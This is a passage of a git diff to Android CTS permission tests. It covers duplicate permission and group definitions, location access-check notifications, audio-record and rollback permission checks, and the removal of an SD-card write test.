+private const val APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30 =
+        "android.permission.cts.appthatdefinespermissionwithinvalidgroup30"
+
+private const val PERM_A = "com.android.cts.duplicatepermission.permA"
+private const val GROUP_A = "com.android.cts.duplicatepermission.groupA"
+private const val INVALID_GROUP = "com.android.cts.duplicatepermission.invalid"
+
+/**
+ * Test cases where packages
+ * - define the same permission or
+ * - define the same permission group
+ * - define permissions in a group defined by another package
+ */
+@AppModeFull(reason = "Tests properties of other app. Instant apps cannot interact with other apps")
+@RunWith(AndroidJUnit4ClassRunner::class)
+class DuplicatePermissionDefinitionsTest {
+    private val pm = InstrumentationRegistry.getTargetContext().packageManager
+
+    private fun install(apk: String) {
+        runShellCommand("pm install $apk")
+    }
+
+    private fun uninstall(app: String) {
+        runShellCommand("pm uninstall $app")
+    }
+
+    private val allPackages: List<String>
+        get() = pm.getInstalledPackages(0).map { it.packageName }
+
+    private val permAInfo: PermissionInfo
+        get() = pm.getPermissionInfo(PERM_A, 0)!!
+
+    private val groupAInfo: PermissionGroupInfo
+        get() = pm.getPermissionGroupInfo(GROUP_A, 0)!!
+
+    @Test
+    fun canInstallAppsDefiningSamePermissionWhenSameCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_A)
+
+        assertThat(allPackages).containsAtLeast(APP_DEFINING_PERM_A, APP_ALSO_DEFINING_PERM_A)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @Test
+    fun cannotInstallAppsDefiningSamePermissionWhenDifferentCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_A)
+        assertThat(allPackages).doesNotContain(APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @Test
+    fun canInstallAppsDefiningSamePermissionGroupWhenDifferentCertIfSdk30() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+
+        assertThat(allPackages).containsAtLeast(APP_DEFINING_PERM_A,
+                APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+
+        assertThat(groupAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @SecurityTest
+    @Test
+    fun cannotInstallAppsDefiningSamePermissionGroupWhenDifferentCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_A)
+        assertThat(allPackages).doesNotContain(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+
+        assertThat(groupAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    // This is the same as cannotInstallAppsDefiningSamePermissionGroupWhenDifferentCert but this
+    // case is allowed as the package that originally defined the group is a platform.
+    @Test
+    fun canInstallAppsDefiningPermissionInPlatformGroup() {
+        install(APK_DEFINING_PERM_IN_PLATFORM_GROUP)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+        assertThat(permAInfo.group).isEqualTo(android.Manifest.permission_group.CAMERA)
+        assertThat(pm.getPermissionGroupInfo(android.Manifest.permission_group.CAMERA, 0)!!
+                .packageName).isEqualTo("android")
+    }
+
+    @Test
+    fun canInstallAppsDefiningPermissionWithInvalidGroupSdk30() {
+        install(APK_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+        assertThat(permAInfo.group).isEqualTo(INVALID_GROUP)
+    }
+
+    @SecurityTest
+    @Test(expected = PackageManager.NameNotFoundException::class)
+    fun cannotInstallAppsDefiningPermissionWithInvalidGroup() {
+        install(APK_DEFINING_PERM_WITH_INVALID_GROUP)
+
+        assertThat(allPackages).doesNotContain(APP_DEFINING_PERM_WITH_INVALID_GROUP)
+
+        // throws a NameNotFoundException as perm info does not exist
+        permAInfo
+    }
+
+    @After
+    fun uninstallTestApps() {
+        uninstall(APP_DEFINING_PERM_A)
+        uninstall(APP_ALSO_DEFINING_PERM_A)
+        uninstall(APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+        uninstall(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+        uninstall(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+        uninstall(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+        uninstall(APP_DEFINING_PERM_WITH_INVALID_GROUP)
+        uninstall(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 1a9c8dc..140ffc8 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -18,18 +18,22 @@
 
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
 import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
 import static android.content.Context.BIND_NOT_FOREGROUND;
 import static android.content.Intent.ACTION_BOOT_COMPLETED;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.location.Criteria.ACCURACY_FINE;
-import static android.provider.Settings.RESET_MODE_PACKAGE_DEFAULTS;
+import static android.os.Process.myUserHandle;
 import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_DELAY_MILLIS;
 import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_INTERVAL_MILLIS;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.server.job.nano.JobPackageHistoryProto.START_PERIODIC_JOB;
+import static com.android.server.job.nano.JobPackageHistoryProto.STOP_JOB;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -40,6 +44,7 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import static java.lang.Math.max;
 import static java.util.concurrent.TimeUnit.MILLISECONDS;
 
 import android.app.ActivityManager;
@@ -50,6 +55,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.location.Criteria;
 import android.location.Location;
@@ -58,10 +64,10 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Looper;
-import android.os.SystemClock;
 import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.SystemUserOnly;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
@@ -73,9 +79,11 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.server.job.nano.JobPackageHistoryProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
 
@@ -87,6 +95,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -105,6 +114,7 @@
             "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk";
     private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
+    private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
 
     /** Whether to show location access check notifications. */
     private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
@@ -113,14 +123,13 @@
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
     private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
-    private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
-
-    // Same as in AccessLocationOnCommand
-    private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
     private static final ActivityManager sActivityManager =
-            (ActivityManager) sContext.getSystemService(Context.ACTIVITY_SERVICE);
+            sContext.getSystemService(ActivityManager.class);
+    private static final PackageManager sPackageManager = sContext.getPackageManager();
+    private static final AppOpsManager sAppOpsManager =
+            sContext.getSystemService(AppOpsManager.class);
     private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
             .getUiAutomation();
 
@@ -136,6 +145,11 @@
     private static ServiceConnection sConnection;
     private static IAccessLocationOnCommand sLocationAccessor;
 
+    private DeviceConfigStateHelper mPrivacyDeviceConfig =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_PRIVACY);
+    private static DeviceConfigStateHelper sJobSchedulerDeviceConfig =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
+
     private static void assumeNotPlayManaged() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
                 sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
@@ -148,10 +162,29 @@
         if (sConnection == null || sLocationAccessor == null) {
             bindService();
         }
+
+        long beforeAccess = System.currentTimeMillis();
+        // Wait a little to avoid raciness in timing between threads
+        Thread.sleep(10);
+
+        // Try again until binder call goes though. It might not go through if the sLocationAccessor
+        // is not bound yet
         eventually(() -> {
             assertNotNull(sLocationAccessor);
             sLocationAccessor.accessLocation();
         }, EXPECTED_TIMEOUT_MILLIS);
+
+        // Wait until the access is recorded
+        eventually(() -> {
+            List<AppOpsManager.PackageOps> ops = runWithShellPermissionIdentity(
+                    () -> sAppOpsManager.getOpsForPackage(
+                            sPackageManager.getPackageUid(TEST_APP_PKG, 0), TEST_APP_PKG,
+                            OPSTR_FINE_LOCATION));
+
+            // Background access must have happened after "beforeAccess"
+            assertTrue(ops.get(0).getOps().get(0).getLastAccessBackgroundTime(OP_FLAGS_ALL_TRUSTED)
+                    >= beforeAccess);
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -233,12 +266,54 @@
     }
 
     /**
+     * Get the last time the LOCATION_ACCESS_CHECK_JOB_ID job was started/stopped for permission
+     * controller.
+     *
+     * @param event the job event (start/stop)
+     *
+     * @return the last time the event happened.
+     */
+    private static long getLastJobTime(int event) throws Exception {
+        int permControllerUid = sPackageManager.getPackageUid(PERMISSION_CONTROLLER_PKG, 0);
+
+        long lastTime = -1;
+
+        for (JobPackageHistoryProto.HistoryEvent historyEvent :
+                getJobSchedulerDump().history.historyEvent) {
+            if (historyEvent.uid == permControllerUid
+                    && historyEvent.jobId == LOCATION_ACCESS_CHECK_JOB_ID
+                    && historyEvent.event == event) {
+                lastTime = max(lastTime,
+                        System.currentTimeMillis() - historyEvent.timeSinceEventMs);
+            }
+        }
+
+        return lastTime;
+    }
+
+    /**
      * Force a run of the location check.
      */
-    private static void runLocationCheck() {
+    private static void runLocationCheck() throws Throwable {
+        long beforeJob = System.currentTimeMillis();
+
+        // Sleep a little bit to avoid raciness in time keeping
+        Thread.sleep(100);
+
         runShellCommand(
                 "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
                         + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
+
+        long[] startTime = new long[] {-1};
+        eventually(() -> {
+            startTime[0] = getLastJobTime(START_PERIODIC_JOB);
+            assertTrue(startTime[0] + "!>" + beforeJob, startTime[0] > beforeJob);
+        }, EXPECTED_TIMEOUT_MILLIS);
+
+        eventually(() -> {
+            long stopTime = getLastJobTime(STOP_JOB);
+            assertTrue(startTime[0] <= stopTime);
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -258,59 +333,37 @@
         return null;
     }
 
-    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
-        return getNotification(cancelNotification, false);
-    }
-
     /**
      * Get a location access notification that is currently visible.
      *
      * @param cancelNotification if {@code true} the notification is canceled inside this method
-     * @param returnImmediately if {@code true} this method returns immediately after checking once
-     *                          for the notification
      * @return The notification or {@code null} if there is none
      */
-    private StatusBarNotification getNotification(boolean cancelNotification,
-            boolean returnImmediately) throws Throwable {
+    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
         NotificationListenerService notificationService = NotificationListener.getInstance();
-        long start = SystemClock.elapsedRealtime();
-        long timeout = returnImmediately ? 0 : LOCATION_ACCESS_TIMEOUT_MILLIS
-                + BACKGROUND_ACCESS_SETTLE_TIME;
-        while (true) {
-            runLocationCheck();
-            Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
 
-            StatusBarNotification notification = getPermissionControllerNotification();
-            if (notification == null) {
-                // Sometimes getting a location takes some time, hence not getting a notification
-                // can be caused by not having gotten a location yet
-                if (SystemClock.elapsedRealtime() - start < timeout) {
-                    Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
-                    continue;
-                }
+        StatusBarNotification notification = getPermissionControllerNotification();
+        if (notification == null) {
+            return null;
+        }
 
-                return null;
-            }
-
-            if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
-                    .contains(TEST_APP_LABEL)) {
-                if (cancelNotification) {
-                    notificationService.cancelNotification(notification.getKey());
-
-                    // Wait for notification to get canceled
-                    eventually(() -> assertFalse(
-                            Arrays.asList(notificationService.getActiveNotifications()).contains(
-                                    notification)), UNEXPECTED_TIMEOUT_MILLIS);
-                }
-
-                return notification;
-            } else {
+        if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
+                .contains(TEST_APP_LABEL)) {
+            if (cancelNotification) {
                 notificationService.cancelNotification(notification.getKey());
 
-                // Wait until new notification can be shown
-                Thread.sleep(200);
+                // Wait for notification to get canceled
+                eventually(() -> assertFalse(
+                        Arrays.asList(notificationService.getActiveNotifications()).contains(
+                                notification)), UNEXPECTED_TIMEOUT_MILLIS);
             }
+
+            return notification;
         }
+
+        Log.d(LOG_TAG, "Bad notification " + notification);
+
+        return null;
     }
 
     /**
@@ -343,6 +396,10 @@
             // New settings will be applied in when permission controller is reset
             Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
             Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
+
+            // Disable job scheduler throttling by allowing 300000 jobs per 30 sec
+            sJobSchedulerDeviceConfig.set("qc_max_job_count_per_rate_limiting_window", "3000000");
+            sJobSchedulerDeviceConfig.set("qc_rate_limiting_window_ms", "30000");
         });
     }
 
@@ -418,26 +475,38 @@
      */
     @Before
     public void resetPermissionControllerBeforeEachTest() throws Throwable {
+        // Has to be before resetPermissionController to make sure enablement time is the reset time
+        // of permission controller
+        enableLocationAccessCheck();
+
         resetPermissionController();
+
+        eventually(() -> assertNull(getNotification(false)), UNEXPECTED_TIMEOUT_MILLIS);
+
+        // Reset job scheduler stats (to allow more jobs to be run)
+        runShellCommand(
+                "cmd jobscheduler reset-execution-quota -u " + myUserHandle().getIdentifier() + " "
+                        + PERMISSION_CONTROLLER_PKG);
     }
 
     /**
      * Enable location access check
      */
-    @Before
-    public void enableLocationAccessCheck() {
-        runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
-                DeviceConfig.NAMESPACE_PRIVACY,
-                PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "true", false));
+    public void enableLocationAccessCheck() throws Throwable {
+        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "true");
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     /**
      * Disable location access check
      */
-    private void disableLocationAccessCheck() {
-        runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
-                DeviceConfig.NAMESPACE_PRIVACY,
-                PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false", false));
+    private void disableLocationAccessCheck() throws Throwable {
+        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false");
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     /**
@@ -486,7 +555,7 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
-        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
+        int currentUserId = myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
@@ -550,49 +619,60 @@
 
             Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
             Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
-        });
 
-        resetPermissionController();
+            sJobSchedulerDeviceConfig.restoreOriginalValues();
+        });
     }
 
     /**
      * Reset location access check
      */
     @After
-    public void resetPrivacyConfig() {
-        runWithShellPermissionIdentity(
-                () -> DeviceConfig.resetToDefaults(RESET_MODE_PACKAGE_DEFAULTS,
-                        DeviceConfig.NAMESPACE_PRIVACY));
+    public void resetPrivacyConfig() throws Throwable {
+        mPrivacyDeviceConfig.restoreOriginalValues();
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     @After
     public void locationUnbind() throws Throwable {
         unbindService();
-        getNotification(true, true);
     }
 
     @Test
     public void notificationIsShown() throws Throwable {
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
         assumeNotPlayManaged();
+
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
+
+        accessLocation();
+        runLocationCheck();
 
         assertNull(getNotification(true));
     }
 
+    @SystemUserOnly(reason = "b/172259935")
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
         assumeNotPlayManaged();
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         clearPackageData(TEST_APP_PKG);
 
@@ -604,13 +684,18 @@
         grantPermissionToTestApp(ACCESS_BACKGROUND_LOCATION);
 
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
+    @SystemUserOnly(reason = "b/172259935")
     @Test
     public void notificationIsShownAgainAfterUninstallAndReinstall() throws Throwable {
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         uninstallBackgroundAccessApp();
 
@@ -619,18 +704,21 @@
 
         installBackgroundAccessApp();
 
-        eventually(() -> {
-            accessLocation();
-            assertNotNull(getNotification(true));
-        }, UNEXPECTED_TIMEOUT_MILLIS);
+        accessLocation();
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
         assumeNotPlayManaged();
+
         accessLocation();
-        getNotification(false);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
 
         uninstallBackgroundAccessApp();
 
@@ -645,7 +733,9 @@
     @Test
     public void notificationIsNotShownAfterAppDoesNotRequestLocationAnymore() throws Throwable {
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         // Update to app to a version that does not request permission anymore
         installForegroundAccessApp();
@@ -653,14 +743,10 @@
         try {
             resetPermissionController();
 
-            try {
-                // We don't expect a notification, but try to trigger one anyway
-                eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
-            } catch (AssertionError expected) {
-                return;
-            }
+            runLocationCheck();
 
-            fail("Location access notification was shown");
+            // We don't expect a notification, but try to trigger one anyway
+            assertNull(getNotification(false));
         } finally {
             installBackgroundAccessApp(true);
         }
@@ -670,51 +756,71 @@
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
         assumeNotPlayManaged();
+
         disableLocationAccessCheck();
+
         accessLocation();
-        assertNull(getNotification(true));
+        runLocationCheck();
+
+        assertNull(getNotification(false));
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
         assumeNotPlayManaged();
-        // Disable the feature and access location in disabled state
-        getNotification(true, true);
+
         disableLocationAccessCheck();
+
         accessLocation();
-        assertNull(getNotification(true));
+        runLocationCheck();
 
         // No notification expected for accesses before enabling the feature
+        assertNull(getNotification(false));
+
         enableLocationAccessCheck();
-        assertNull(getNotification(true));
+
+        // Trigger update of location enable time. In the real world it enabling happens on the
+        // first location check. I.e. accesses before this location check are ignored.
+        runLocationCheck();
+
+        // No notification expected for accesses before enabling the feature (even after feature is
+        // enabled now)
+        assertNull(getNotification(false));
 
         // Notification expected for access after enabling the feature
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
         assumeNotPlayManaged();
-        getNotification(true);
+
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
             AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
-            appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_FINE_LOCATION, TEST_APP_PKG,
+            appOpsManager.noteProxyOpNoThrow(OPSTR_FINE_LOCATION, TEST_APP_PKG,
                     sContext.getPackageManager().getPackageUid(TEST_APP_PKG, 0));
         });
-        assertNull(getNotification(true));
+        runLocationCheck();
+
+        assertNull(getNotification(false));
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
         assumeNotPlayManaged();
+
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         sContext.startActivity(intent);
-        assertNull(getNotification(true));
+
+        runLocationCheck();
+        assertNull(getNotification(false));
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
index 0ab5ff0..c2c42a1 100644
--- a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
@@ -16,8 +16,14 @@
 
 package android.permission.cts;
 
+import static org.testng.Assert.assertThrows;
+
 import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
 import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
@@ -37,6 +43,11 @@
         assertNotNull(mAudioManager);
     }
 
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
     /**
      * Verify that AudioManager.setMicrophoneMute, AudioManager.setMode requires permissions.
      * <p>Requires Permission:
@@ -83,4 +94,30 @@
         mAudioManager.setBluetoothScoOn(!prevState);
         assertEquals(prevState, mAudioManager.isBluetoothScoOn());
     }
+
+    /**
+     * Verify that {@link android.media.AudioRecord.Builder#build} and
+     * {@link android.media.AudioRecord#AudioRecord} require permission
+     * {@link android.Manifest.permission#RECORD_AUDIO}.
+     */
+    @SmallTest
+    public void testRecordPermission() {
+        if (!hasMicrophone()) return;
+
+        // test builder
+        assertThrows(java.lang.UnsupportedOperationException.class, () -> {
+            final AudioRecord record = new AudioRecord.Builder().build();
+            record.release();
+        });
+
+        // test constructor
+        final int sampleRate = 8000;
+        final int halfSecondInBytes = sampleRate;
+        AudioRecord record = new AudioRecord(
+                MediaRecorder.AudioSource.DEFAULT, sampleRate, AudioFormat.CHANNEL_IN_MONO,
+                AudioFormat.ENCODING_PCM_16BIT, halfSecondInBytes);
+        final int state = record.getState();
+        record.release();
+        assertEquals(AudioRecord.STATE_UNINITIALIZED, state);
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
new file mode 100644
index 0000000..50b84fa
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageInstaller;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "PackageInstaller cannot be accessed by instant apps")
+public class NoRollbackPermissionTest {
+    @Test
+    public void testCreateInstallSessionWithReasonRollbackFails() throws Exception {
+        // The INSTALL_REASON_ROLLBACK allows an APK to be rolled back to a previous signing key
+        // without setting the ROLLBACK capability in the lineage. Since only signature|privileged
+        // apps can hold the necessary permission to initiate a rollback ensure apps without this
+        // permission cannot set rollback as the install reason.
+        PackageInstaller packageInstaller =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                        .getPackageInstaller();
+        PackageInstaller.SessionParams parentParams = new PackageInstaller.SessionParams(
+                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+        parentParams.setRequestDowngrade(true);
+        parentParams.setMultiPackage();
+        // The constant PackageManager.INSTALL_REASON_ROLLBACK is hidden from apps, but an app can
+        // still use its constant value.
+        parentParams.setInstallReason(5);
+        assertThrows(SecurityException.class, () -> packageInstaller.createSession(parentParams));
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java
deleted file mode 100644
index f1c4e4b..0000000
--- a/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission.cts;
-
-import static org.junit.Assert.fail;
-
-import android.os.Environment;
-import android.os.storage.StorageManager;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Assume;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-
-/**
- * Test writing to SD card requires permissions
- */
-@RunWith(AndroidJUnit4.class)
-public class NoSdCardWritePermissionTest {
-    @Test
-    public void testWriteExternalStorage() throws FileNotFoundException, IOException {
-        Assume.assumeFalse(StorageManager.hasIsolatedStorage());
-
-        try {
-            String fl = Environment.getExternalStorageDirectory().toString() +
-                         "/this-should-not-exist.txt";
-            FileOutputStream strm = new FileOutputStream(fl);
-            strm.write("Oops!".getBytes());
-            strm.flush();
-            strm.close();
-            fail("Was able to create and write to " + fl);
-        } catch (SecurityException e) {
-            // expected
-        } catch (FileNotFoundException e) {
-            // expected
-        }
-    }
-}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
